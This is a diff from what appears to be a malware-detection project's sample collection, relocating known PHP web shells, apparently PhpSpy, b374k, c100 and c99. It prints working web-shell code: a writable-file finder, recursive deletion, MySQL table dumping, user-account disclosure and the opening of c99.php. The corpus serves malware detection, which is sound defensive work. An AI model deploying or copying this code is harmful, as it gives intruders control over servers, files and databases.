| 1802 | } | 1802 | } |
| 1803 | 1803 | ||
| 1804 | function getUser($filepath) { | 1804 | function getUser($filepath) { |
| 1805 | if (function_exists('posix_getpwuid')) { | 1805 | if (function_exists('posix_getpwuid')) { |
| 1806 | $array = @posix_getpwuid(@fileowner($filepath)); | 1806 | $array = @posix_getpwuid(@fileowner($filepath)); |
| 1807 | if ($array && is_array($array)) { | 1807 | if ($array && is_array($array)) { |
| 1808 | return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>'; | 1808 | return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>'; |
| 1809 | } | 1809 | } |
| 1810 | } | 1810 | } |
| 1811 | return ''; | 1811 | return ''; |
| 1812 | } | 1812 | } |
| 1813 | 1813 | ||
| 1814 | // ɾ³ýĿ¼ | 1814 | // ɾ³ýĿ¼ |
| 1815 | function deltree($deldir) { | 1815 | function deltree($deldir) { |
| 1816 | $mydir=@dir($deldir); | 1816 | $mydir=@dir($deldir); |
| 1817 | while($file=$mydir->read()) { | 1817 | while($file=$mydir->read()) { |
| 1818 | if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { | 1818 | if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { |
| 1819 | @chmod($deldir.'/'.$file,0777); | 1819 | @chmod($deldir.'/'.$file,0777); |
| 1820 | deltree($deldir.'/'.$file); | 1820 | deltree($deldir.'/'.$file); |
| 1821 | } | 1821 | } |
| 1822 | if (is_file($deldir.'/'.$file)) { | 1822 | if (is_file($deldir.'/'.$file)) { |
| 1823 | @chmod($deldir.'/'.$file,0777); | 1823 | @chmod($deldir.'/'.$file,0777); |
| 1824 | @unlink($deldir.'/'.$file); | 1824 | @unlink($deldir.'/'.$file); |
| 1825 | } | 1825 | } |
| 1826 | } | 1826 | } |
| 1827 | $mydir->close(); | 1827 | $mydir->close(); |
| 1828 | @chmod($deldir,0777); | 1828 | @chmod($deldir,0777); |
| 1829 | return @rmdir($deldir) ? 1 : 0; | 1829 | return @rmdir($deldir) ? 1 : 0; |
| 1830 | } | 1830 | } |
| 1831 | 1831 | ||
| 1832 | // ±í¸ñÐмäµÄ±³¾°É«Ìæ»» | 1832 | // ±í¸ñÐмäµÄ±³¾°É«Ìæ»» |
| 1833 | function bg() { | 1833 | function bg() { |
| 1834 | global $bgc; | 1834 | global $bgc; |
| 1835 | return ($bgc++%2==0) ? 'alt1' : 'alt2'; | 1835 | return ($bgc++%2==0) ? 'alt1' : 'alt2'; |
| 1836 | } | 1836 | } |
| 1837 | 1837 | ||
| 1838 | // »ñÈ¡µ±Ç°µÄÎļþϵͳ·¾¶ | 1838 | // »ñÈ¡µ±Ç°µÄÎļþϵͳ·¾¶ |
| 1839 | function getPath($scriptpath, $nowpath) { | 1839 | function getPath($scriptpath, $nowpath) { |
| 1840 | if ($nowpath == '.') { | 1840 | if ($nowpath == '.') { |
| 1841 | $nowpath = $scriptpath; | 1841 | $nowpath = $scriptpath; |
| 1842 | } | 1842 | } |
| 1843 | $nowpath = str_replace('\\', '/', $nowpath); | 1843 | $nowpath = str_replace('\\', '/', $nowpath); |
| 1844 | $nowpath = str_replace('//', '/', $nowpath); | 1844 | $nowpath = str_replace('//', '/', $nowpath); |
| 1845 | if (substr($nowpath, -1) != '/') { | 1845 | if (substr($nowpath, -1) != '/') { |
| 1846 | $nowpath = $nowpath.'/'; | 1846 | $nowpath = $nowpath.'/'; |
| 1847 | } | 1847 | } |
| 1848 | return $nowpath; | 1848 | return $nowpath; |
| 1849 | } | 1849 | } |
| 1850 | 1850 | ||
| 1851 | // »ñÈ¡µ±Ç°Ä¿Â¼µÄÉϼ¶Ä¿Â¼ | 1851 | // »ñÈ¡µ±Ç°Ä¿Â¼µÄÉϼ¶Ä¿Â¼ |
| 1852 | function getUpPath($nowpath) { | 1852 | function getUpPath($nowpath) { |
| 1853 | $pathdb = explode('/', $nowpath); | 1853 | $pathdb = explode('/', $nowpath); |
| 1854 | $num = count($pathdb); | 1854 | $num = count($pathdb); |
| 1855 | if ($num > 2) { | 1855 | if ($num > 2) { |
| 1856 | unset($pathdb[$num-1],$pathdb[$num-2]); | 1856 | unset($pathdb[$num-1],$pathdb[$num-2]); |
| 1857 | } | 1857 | } |
| 1858 | $uppath = implode('/', $pathdb).'/'; | 1858 | $uppath = implode('/', $pathdb).'/'; |
| 1859 | $uppath = str_replace('//', '/', $uppath); | 1859 | $uppath = str_replace('//', '/', $uppath); |
| 1860 | return $uppath; | 1860 | return $uppath; |
| 1861 | } | 1861 | } |
| 1862 | 1862 | ||
| 1863 | // ¼ì²éPHPÅäÖòÎÊý | 1863 | // ¼ì²éPHPÅäÖòÎÊý |
| 1864 | function getcfg($varname) { | 1864 | function getcfg($varname) { |
| 1865 | $result = get_cfg_var($varname); | 1865 | $result = get_cfg_var($varname); |
| 1866 | if ($result == 0) { | 1866 | if ($result == 0) { |
| 1867 | return 'No'; | 1867 | return 'No'; |
| 1868 | } elseif ($result == 1) { | 1868 | } elseif ($result == 1) { |
| 1869 | return 'Yes'; | 1869 | return 'Yes'; |
| 1870 | } else { | 1870 | } else { |
| 1871 | return $result; | 1871 | return $result; |
| 1872 | } | 1872 | } |
| 1873 | } | 1873 | } |
| 1874 | 1874 | ||
| 1875 | // ¼ì²éº¯ÊýÇé¿ö | 1875 | // ¼ì²éº¯ÊýÇé¿ö |
| 1876 | function getfun($funName) { | 1876 | function getfun($funName) { |
| 1877 | return (false !== function_exists($funName)) ? 'Yes' : 'No'; | 1877 | return (false !== function_exists($funName)) ? 'Yes' : 'No'; |
| 1878 | } | 1878 | } |
| 1879 | 1879 | ||
| 1880 | // »ñµÃÎļþÀ©Õ¹Ãû | 1880 | // »ñµÃÎļþÀ©Õ¹Ãû |
| 1881 | function getext($file) { | 1881 | function getext($file) { |
| 1882 | $info = pathinfo($file); | 1882 | $info = pathinfo($file); |
| 1883 | return $info['extension']; | 1883 | return $info['extension']; |
| 1884 | } | 1884 | } |
| 1885 | 1885 | ||
| 1886 | function GetWDirList($dir){ | 1886 | function GetWDirList($dir){ |
| 1887 | global $dirdata,$j,$nowpath; | 1887 | global $dirdata,$j,$nowpath; |
| 1888 | !$j && $j=1; | 1888 | !$j && $j=1; |
| 1889 | if ($dh = opendir($dir)) { | 1889 | if ($dh = opendir($dir)) { |
| 1890 | while ($file = readdir($dh)) { | 1890 | while ($file = readdir($dh)) { |
| 1891 | $f=str_replace('//','/',$dir.'/'.$file); | 1891 | $f=str_replace('//','/',$dir.'/'.$file); |
| 1892 | if($file!='.' && $file!='..' && is_dir($f)){ | 1892 | if($file!='.' && $file!='..' && is_dir($f)){ |
| 1893 | if (is_writable($f)) { | 1893 | if (is_writable($f)) { |
| 1894 | $dirdata[$j]['filename']=str_replace($nowpath,'',$f); | 1894 | $dirdata[$j]['filename']=str_replace($nowpath,'',$f); |
| 1895 | $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); | 1895 | $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); |
| 1896 | $dirdata[$j]['dirchmod']=getChmod($f); | 1896 | $dirdata[$j]['dirchmod']=getChmod($f); |
| 1897 | $dirdata[$j]['dirperm']=getPerms($f); | 1897 | $dirdata[$j]['dirperm']=getPerms($f); |
| 1898 | $dirdata[$j]['dirlink']=$dir; | 1898 | $dirdata[$j]['dirlink']=$dir; |
| 1899 | $dirdata[$j]['server_link']=$f; | 1899 | $dirdata[$j]['server_link']=$f; |
| 1900 | $j++; | 1900 | $j++; |
| 1901 | } | 1901 | } |
| 1902 | GetWDirList($f); | 1902 | GetWDirList($f); |
| 1903 | } | 1903 | } |
| 1904 | } | 1904 | } |
| 1905 | closedir($dh); | 1905 | closedir($dh); |
| 1906 | clearstatcache(); | 1906 | clearstatcache(); |
| 1907 | return $dirdata; | 1907 | return $dirdata; |
| 1908 | } else { | 1908 | } else { |
| 1909 | return array(); | 1909 | return array(); |
| 1910 | } | 1910 | } |
| 1911 | } | 1911 | } |
| 1912 | 1912 | ||
| 1913 | function GetWFileList($dir){ | 1913 | function GetWFileList($dir){ |
| 1914 | global $filedata,$j,$nowpath, $writabledb; | 1914 | global $filedata,$j,$nowpath, $writabledb; |
| 1915 | !$j && $j=1; | 1915 | !$j && $j=1; |
| 1916 | if ($dh = opendir($dir)) { | 1916 | if ($dh = opendir($dir)) { |
| 1917 | while ($file = readdir($dh)) { | 1917 | while ($file = readdir($dh)) { |
| 1918 | $ext = getext($file); | 1918 | $ext = getext($file); |
| 1919 | $f=str_replace('//','/',$dir.'/'.$file); | 1919 | $f=str_replace('//','/',$dir.'/'.$file); |
| 1920 | if($file!='.' && $file!='..' && is_dir($f)){ | 1920 | if($file!='.' && $file!='..' && is_dir($f)){ |
| 1921 | GetWFileList($f); | 1921 | GetWFileList($f); |
| 1922 | } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){ | 1922 | } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){ |
| 1923 | if (is_writable($f)) { | 1923 | if (is_writable($f)) { |
| 1924 | $filedata[$j]['filename']=str_replace($nowpath,'',$f); | 1924 | $filedata[$j]['filename']=str_replace($nowpath,'',$f); |
| 1925 | $filedata[$j]['size']=sizecount(@filesize($f)); | 1925 | $filedata[$j]['size']=sizecount(@filesize($f)); |
| 1926 | $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); | 1926 | $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); |
| 1927 | $filedata[$j]['filechmod']=getChmod($f); | 1927 | $filedata[$j]['filechmod']=getChmod($f); |
| 1928 | $filedata[$j]['fileperm']=getPerms($f); | 1928 | $filedata[$j]['fileperm']=getPerms($f); |
| 1929 | $filedata[$j]['fileowner']=getUser($f); | 1929 | $filedata[$j]['fileowner']=getUser($f); |
| 1930 | $filedata[$j]['dirlink']=$dir; | 1930 | $filedata[$j]['dirlink']=$dir; |
| 1931 | $filedata[$j]['server_link']=$f; | 1931 | $filedata[$j]['server_link']=$f; |
| 1932 | $j++; | 1932 | $j++; |
| 1933 | } | 1933 | } |
| 1934 | } | 1934 | } |
| 1935 | } | 1935 | } |
| 1936 | closedir($dh); | 1936 | closedir($dh); |
| 1937 | clearstatcache(); | 1937 | clearstatcache(); |
| 1938 | return $filedata; | 1938 | return $filedata; |
| 1939 | } else { | 1939 | } else { |
| 1940 | return array(); | 1940 | return array(); |
| 1941 | } | 1941 | } |
| 1942 | } | 1942 | } |
| 1943 | 1943 | ||
| 1944 | function GetSFileList($dir, $content, $re = 0) { | 1944 | function GetSFileList($dir, $content, $re = 0) { |
| 1945 | global $filedata,$j,$nowpath, $writabledb; | 1945 | global $filedata,$j,$nowpath, $writabledb; |
| 1946 | !$j && $j=1; | 1946 | !$j && $j=1; |
| 1947 | if ($dh = opendir($dir)) { | 1947 | if ($dh = opendir($dir)) { |
| 1948 | while ($file = readdir($dh)) { | 1948 | while ($file = readdir($dh)) { |
| 1949 | $ext = getext($file); | 1949 | $ext = getext($file); |
| 1950 | $f=str_replace('//','/',$dir.'/'.$file); | 1950 | $f=str_replace('//','/',$dir.'/'.$file); |
| 1951 | if($file!='.' && $file!='..' && is_dir($f)){ | 1951 | if($file!='.' && $file!='..' && is_dir($f)){ |
| 1952 | GetSFileList($f, $content, $re = 0); | 1952 | GetSFileList($f, $content, $re = 0); |
| 1953 | } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){ | 1953 | } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){ |
| 1954 | $find = 0; | 1954 | $find = 0; |
| 1955 | if ($re) { | 1955 | if ($re) { |
| 1956 | if ( preg_match('@'.$content.'@',$file) || preg_match('@'.$content.'@', @file_get_contents($f)) ){ | 1956 | if ( preg_match('@'.$content.'@',$file) || preg_match('@'.$content.'@', @file_get_contents($f)) ){ |
| 1957 | $find = 1; | 1957 | $find = 1; |
| 1958 | } | 1958 | } |
| 1959 | } else { | 1959 | } else { |
| 1960 | if ( strstr($file, $content) || strstr( @file_get_contents($f),$content ) ) { | 1960 | if ( strstr($file, $content) || strstr( @file_get_contents($f),$content ) ) { |
| 1961 | $find = 1; | 1961 | $find = 1; |
| 1962 | } | 1962 | } |
| 1963 | } | 1963 | } |
| 1964 | if ($find) { | 1964 | if ($find) { |
| 1965 | $filedata[$j]['filename']=str_replace($nowpath,'',$f); | 1965 | $filedata[$j]['filename']=str_replace($nowpath,'',$f); |
| 1966 | $filedata[$j]['size']=sizecount(@filesize($f)); | 1966 | $filedata[$j]['size']=sizecount(@filesize($f)); |
| 1967 | $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); | 1967 | $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); |
| 1968 | $filedata[$j]['filechmod']=getChmod($f); | 1968 | $filedata[$j]['filechmod']=getChmod($f); |
| 1969 | $filedata[$j]['fileperm']=getPerms($f); | 1969 | $filedata[$j]['fileperm']=getPerms($f); |
| 1970 | $filedata[$j]['fileowner']=getUser($f); | 1970 | $filedata[$j]['fileowner']=getUser($f); |
| 1971 | $filedata[$j]['dirlink']=$dir; | 1971 | $filedata[$j]['dirlink']=$dir; |
| 1972 | $filedata[$j]['server_link']=$f; | 1972 | $filedata[$j]['server_link']=$f; |
| 1973 | $j++; | 1973 | $j++; |
| 1974 | } | 1974 | } |
| 1975 | } | 1975 | } |
| 1976 | } | 1976 | } |
| 1977 | closedir($dh); | 1977 | closedir($dh); |
| 1978 | clearstatcache(); | 1978 | clearstatcache(); |
| 1979 | return $filedata; | 1979 | return $filedata; |
| 1980 | } else { | 1980 | } else { |
| 1981 | return array(); | 1981 | return array(); |
| 1982 | } | 1982 | } |
| 1983 | } | 1983 | } |
| 1984 | 1984 | ||
| 1985 | function qy($sql) { | 1985 | function qy($sql) { |
| 1986 | global $mysqllink; | 1986 | global $mysqllink; |
| 1987 | //echo $sql.'<br>'; | 1987 | //echo $sql.'<br>'; |
| 1988 | $res = $error = ''; | 1988 | $res = $error = ''; |
| 1989 | if(!$res = @mysql_query($sql,$mysqllink)) { | 1989 | if(!$res = @mysql_query($sql,$mysqllink)) { |
| 1990 | return 0; | 1990 | return 0; |
| 1991 | } else if(is_resource($res)) { | 1991 | } else if(is_resource($res)) { |
| 1992 | return 1; | 1992 | return 1; |
| 1993 | } else { | 1993 | } else { |
| 1994 | return 2; | 1994 | return 2; |
| 1995 | } | 1995 | } |
| 1996 | return 0; | 1996 | return 0; |
| 1997 | } | 1997 | } |
| 1998 | 1998 | ||
| 1999 | function q($sql) { | 1999 | function q($sql) { |
| 2000 | global $mysqllink; | 2000 | global $mysqllink; |
| 2001 | return @mysql_query($sql,$mysqllink); | 2001 | return @mysql_query($sql,$mysqllink); |
| 2002 | } | 2002 | } |
| 2003 | 2003 | ||
| 2004 | function fr($qy){ | 2004 | function fr($qy){ |
| 2005 | mysql_free_result($qy); | 2005 | mysql_free_result($qy); |
| 2006 | } | 2006 | } |
| 2007 | 2007 | ||
| 2008 | function sizecount($fileSize) { | 2008 | function sizecount($fileSize) { |
| 2009 | $size = sprintf("%u", $fileSize); | 2009 | $size = sprintf("%u", $fileSize); |
| 2010 | if($size == 0) { | 2010 | if($size == 0) { |
| 2011 | return '0 Bytes' ; | 2011 | return '0 Bytes' ; |
| 2012 | } | 2012 | } |
| 2013 | $sizename = array(' Bytes', ' KB', ' MB', ' GB', ' TB', ' PB', ' EB', ' ZB', ' YB'); | 2013 | $sizename = array(' Bytes', ' KB', ' MB', ' GB', ' TB', ' PB', ' EB', ' ZB', ' YB'); |
| 2014 | return round( $size / pow(1024, ($i = floor(log($size, 1024)))), 2) . $sizename[$i]; | 2014 | return round( $size / pow(1024, ($i = floor(log($size, 1024)))), 2) . $sizename[$i]; |
| 2015 | } | 2015 | } |
| 2016 | // ±¸·ÝÊý¾Ý¿â | 2016 | // ±¸·ÝÊý¾Ý¿â |
| 2017 | function sqldumptable($table, $fp=0) { | 2017 | function sqldumptable($table, $fp=0) { |
| 2018 | global $mysqllink; | 2018 | global $mysqllink; |
| 2019 | 2019 | ||
| 2020 | $tabledump = "DROP TABLE IF EXISTS `$table`;\n"; | 2020 | $tabledump = "DROP TABLE IF EXISTS `$table`;\n"; |
| 2021 | $res = q("SHOW CREATE TABLE $table"); | 2021 | $res = q("SHOW CREATE TABLE $table"); |
| 2022 | $create = mysql_fetch_row($res); | 2022 | $create = mysql_fetch_row($res); |
| 2023 | $tabledump .= $create[1].";\n\n"; | 2023 | $tabledump .= $create[1].";\n\n"; |
| 2024 | 2024 | ||
| 2025 | if ($fp) { | 2025 | if ($fp) { |
| 2026 | fwrite($fp,$tabledump); | 2026 | fwrite($fp,$tabledump); |
| 2027 | } else { | 2027 | } else { |
| 2028 | echo $tabledump; | 2028 | echo $tabledump; |
| 2029 | } | 2029 | } |
| 2030 | $tabledump = ''; | 2030 | $tabledump = ''; |
| 2031 | $rows = q("SELECT * FROM $table"); | 2031 | $rows = q("SELECT * FROM $table"); |
| 2032 | while ($row = mysql_fetch_assoc($rows)) { | 2032 | while ($row = mysql_fetch_assoc($rows)) { |
| 2033 | foreach($row as $k=>$v) { | 2033 | foreach($row as $k=>$v) { |
| 2034 | $row[$k] = "'".@mysql_real_escape_string($v)."'"; | 2034 | $row[$k] = "'".@mysql_real_escape_string($v)."'"; |
| 2035 | } | 2035 | } |
| 2036 | $tabledump = 'INSERT INTO `'.$table.'` VALUES ('.implode(", ", $row).');'."\n"; | 2036 | $tabledump = 'INSERT INTO `'.$table.'` VALUES ('.implode(", ", $row).');'."\n"; |
| 2037 | if ($fp) { | 2037 | if ($fp) { |
| 2038 | fwrite($fp,$tabledump); | 2038 | fwrite($fp,$tabledump); |
| 2039 | } else { | 2039 | } else { |
| 2040 | echo $tabledump; | 2040 | echo $tabledump; |
| 2041 | } | 2041 | } |
| 2042 | } | 2042 | } |
| 2043 | fwrite($fp,"\n\n"); | 2043 | fwrite($fp,"\n\n"); |
| 2044 | fr($rows); | 2044 | fr($rows); |
| 2045 | } | 2045 | } |
| 2046 | 2046 | ||
| 2047 | function p($str){ | 2047 | function p($str){ |
| 2048 | echo $str."\n"; | 2048 | echo $str."\n"; |
| 2049 | } | 2049 | } |
| 2050 | 2050 | ||
| 2051 | function tbhead() { | 2051 | function tbhead() { |
| 2052 | p('<table width="100%" border="0" cellpadding="4" cellspacing="0">'); | 2052 | p('<table width="100%" border="0" cellpadding="4" cellspacing="0">'); |
| 2053 | } | 2053 | } |
| 2054 | function tbfoot(){ | 2054 | function tbfoot(){ |
| 2055 | p('</table>'); | 2055 | p('</table>'); |
| 2056 | } | 2056 | } |
| 2057 | 2057 | ||
| 2058 | function makehide($name,$value=''){ | 2058 | function makehide($name,$value=''){ |
| 2059 | p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />"); | 2059 | p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />"); |
| 2060 | } | 2060 | } |
| 2061 | 2061 | ||
| 2062 | function makeinput($arg = array()){ | 2062 | function makeinput($arg = array()){ |
| 2063 | $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\""; | 2063 | $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\""; |
| 2064 | $arg['extra'] = $arg['extra'] ? $arg['extra'] : ''; | 2064 | $arg['extra'] = $arg['extra'] ? $arg['extra'] : ''; |
| 2065 | !$arg['type'] && $arg['type'] = 'text'; | 2065 | !$arg['type'] && $arg['type'] = 'text'; |
| 2066 | $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : ''; | 2066 | $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : ''; |
| 2067 | $arg['class'] = $arg['class'] ? $arg['class'] : 'input'; | 2067 | $arg['class'] = $arg['class'] ? $arg['class'] : 'input'; |
| 2068 | if ($arg['newline']) { | 2068 | if ($arg['newline']) { |
| 2069 | p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>"); | 2069 | p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>"); |
| 2070 | } else { | 2070 | } else { |
| 2071 | p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />"); | 2071 | p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />"); |
| 2072 | } | 2072 | } |
| 2073 | } | 2073 | } |
| 2074 | 2074 | ||
| 2075 | function makeselect($arg = array()){ | 2075 | function makeselect($arg = array()){ |
| 2076 | if ($arg['onchange']) { | 2076 | if ($arg['onchange']) { |
| 2077 | $onchange = 'onchange="'.$arg['onchange'].'"'; | 2077 | $onchange = 'onchange="'.$arg['onchange'].'"'; |
| 2078 | } | 2078 | } |
| 2079 | $arg['title'] = $arg['title'] ? $arg['title'] : ''; | 2079 | $arg['title'] = $arg['title'] ? $arg['title'] : ''; |
| 2080 | if ($arg['newline']) p('<p>'); | 2080 | if ($arg['newline']) p('<p>'); |
| 2081 | p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>"); | 2081 | p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>"); |
| 2082 | if (is_array($arg['option'])) { | 2082 | if (is_array($arg['option'])) { |
| 2083 | if ($arg['nokey']) { | 2083 | if ($arg['nokey']) { |
| 2084 | foreach ($arg['option'] as $value) { | 2084 | foreach ($arg['option'] as $value) { |
| 2085 | if ($arg['selected']==$value) { | 2085 | if ($arg['selected']==$value) { |
| 2086 | p("<option value=\"$value\" selected>$value</option>"); | 2086 | p("<option value=\"$value\" selected>$value</option>"); |
| 2087 | } else { | 2087 | } else { |
| 2088 | p("<option value=\"$value\">$value</option>"); | 2088 | p("<option value=\"$value\">$value</option>"); |
| 2089 | } | 2089 | } |
| 2090 | } | 2090 | } |
| 2091 | } else { | 2091 | } else { |
| 2092 | foreach ($arg['option'] as $key=>$value) { | 2092 | foreach ($arg['option'] as $key=>$value) { |
| 2093 | if ($arg['selected']==$key) { | 2093 | if ($arg['selected']==$key) { |
| 2094 | p("<option value=\"$key\" selected>$value</option>"); | 2094 | p("<option value=\"$key\" selected>$value</option>"); |
| 2095 | } else { | 2095 | } else { |
| 2096 | p("<option value=\"$key\">$value</option>"); | 2096 | p("<option value=\"$key\">$value</option>"); |
| 2097 | } | 2097 | } |
| 2098 | } | 2098 | } |
| 2099 | } | 2099 | } |
| 2100 | } | 2100 | } |
| 2101 | p("</select>"); | 2101 | p("</select>"); |
| 2102 | if ($arg['newline']) p('</p>'); | 2102 | if ($arg['newline']) p('</p>'); |
| 2103 | } | 2103 | } |
| 2104 | function formhead($arg = array()) { | 2104 | function formhead($arg = array()) { |
| 2105 | global $self; | 2105 | global $self; |
| 2106 | !$arg['method'] && $arg['method'] = 'post'; | 2106 | !$arg['method'] && $arg['method'] = 'post'; |
| 2107 | !$arg['action'] && $arg['action'] = $self; | 2107 | !$arg['action'] && $arg['action'] = $self; |
| 2108 | $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : ''; | 2108 | $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : ''; |
| 2109 | !$arg['name'] && $arg['name'] = 'form1'; | 2109 | !$arg['name'] && $arg['name'] = 'form1'; |
| 2110 | p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>"); | 2110 | p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>"); |
| 2111 | if ($arg['title']) { | 2111 | if ($arg['title']) { |
| 2112 | p('<h2>'.$arg['title'].' »</h2>'); | 2112 | p('<h2>'.$arg['title'].' »</h2>'); |
| 2113 | } | 2113 | } |
| 2114 | } | 2114 | } |
| 2115 | 2115 | ||
| 2116 | function maketext($arg = array()){ | 2116 | function maketext($arg = array()){ |
| 2117 | !$arg['cols'] && $arg['cols'] = 100; | 2117 | !$arg['cols'] && $arg['cols'] = 100; |
| 2118 | !$arg['rows'] && $arg['rows'] = 25; | 2118 | !$arg['rows'] && $arg['rows'] = 25; |
| 2119 | $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : ''; | 2119 | $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : ''; |
| 2120 | p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>"); | 2120 | p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>"); |
| 2121 | } | 2121 | } |
| 2122 | 2122 | ||
| 2123 | function formfooter($name = ''){ | 2123 | function formfooter($name = ''){ |
| 2124 | !$name && $name = 'submit'; | 2124 | !$name && $name = 'submit'; |
| 2125 | p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>'); | 2125 | p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>'); |
| 2126 | p('</form>'); | 2126 | p('</form>'); |
| 2127 | } | 2127 | } |
| 2128 | 2128 | ||
| 2129 | function goback(){ | 2129 | function goback(){ |
| 2130 | global $self, $nowpath; | 2130 | global $self, $nowpath; |
| 2131 | p('<form action="'.$self.'" method="post"><input type="hidden" name="action" value="file" /><input type="hidden" name="dir" value="'.$nowpath.'" /><p><input class="bt" type="submit" value="Go back..."></p></form>'); | 2131 | p('<form action="'.$self.'" method="post"><input type="hidden" name="action" value="file" /><input type="hidden" name="dir" value="'.$nowpath.'" /><p><input class="bt" type="submit" value="Go back..."></p></form>'); |
| 2132 | } | 2132 | } |
| 2133 | 2133 | ||
| 2134 | function formfoot(){ | 2134 | function formfoot(){ |
| 2135 | p('</form>'); | 2135 | p('</form>'); |
| 2136 | } | 2136 | } |
| 2137 | 2137 | ||
| 2138 | function encode_pass($pass) { | 2138 | function encode_pass($pass) { |
| 2139 | $pass = md5('angel'.$pass); | 2139 | $pass = md5('angel'.$pass); |
| 2140 | $pass = md5($pass.'angel'); | 2140 | $pass = md5($pass.'angel'); |
| 2141 | $pass = md5('angel'.$pass.'angel'); | 2141 | $pass = md5('angel'.$pass.'angel'); |
| 2142 | return $pass; | 2142 | return $pass; |
| 2143 | } | 2143 | } |
| 2144 | 2144 | ||
| 2145 | function pr($s){ | 2145 | function pr($s){ |
| 2146 | echo "<pre>".print_r($s).'</pre>'; | 2146 | echo "<pre>".print_r($s).'</pre>'; |
| 2147 | } | 2147 | } |
| 2148 | 2148 | ||
| 2149 | ?> | 2149 | ?> |
diff --git a/php-malware-finder/samples/classic/b374k.php b/data/samples/classic/b374k.php index a448645..a448645 100644 --- a/php-malware-finder/samples/classic/b374k.php +++ b/data/samples/classic/b374k.php | |||
diff --git a/php-malware-finder/samples/classic/c100.php b/data/samples/classic/c100.php index 529d1aa..529d1aa 100644 --- a/php-malware-finder/samples/classic/c100.php +++ b/data/samples/classic/c100.php | |||
diff --git a/php-malware-finder/samples/classic/c99.php b/data/samples/classic/c99.php index 7a1ba9f..78884d2 100644 --- a/php-malware-finder/samples/classic/c99.php +++ b/data/samples/classic/c99.php | |||
| @@ -1,3157 +1,3157 @@ | |||
| 1 | <?php | 1 | <?php |
| 2 | //Starting calls | 2 | //Starting calls |
| 3 | if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} | 3 | if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} |
| 4 | error_reporting(5); | 4 | error_reporting(5); |
| 5 | @ignore_user_abort(TRUE); | 5 | @ignore_user_abort(TRUE); |
| 6 | @set_magic_quotes_runtime(0); | 6 | @set_magic_quotes_runtime(0); |
| 7 | $win = strtolower(substr(PHP_OS,0,3)) == "win"; | 7 | $win = strtolower(substr(PHP_OS,0,3)) == "win"; |
| 8 | define("starttime",getmicrotime()); | 8 | define("starttime",getmicrotime()); |
| 9 | if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} | 9 | if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} |
| 10 | $_REQUEST = array_merge($_COOKIE,$_GET,$_POST); | 10 | $_REQUEST = array_merge($_COOKIE,$_GET,$_POST); |
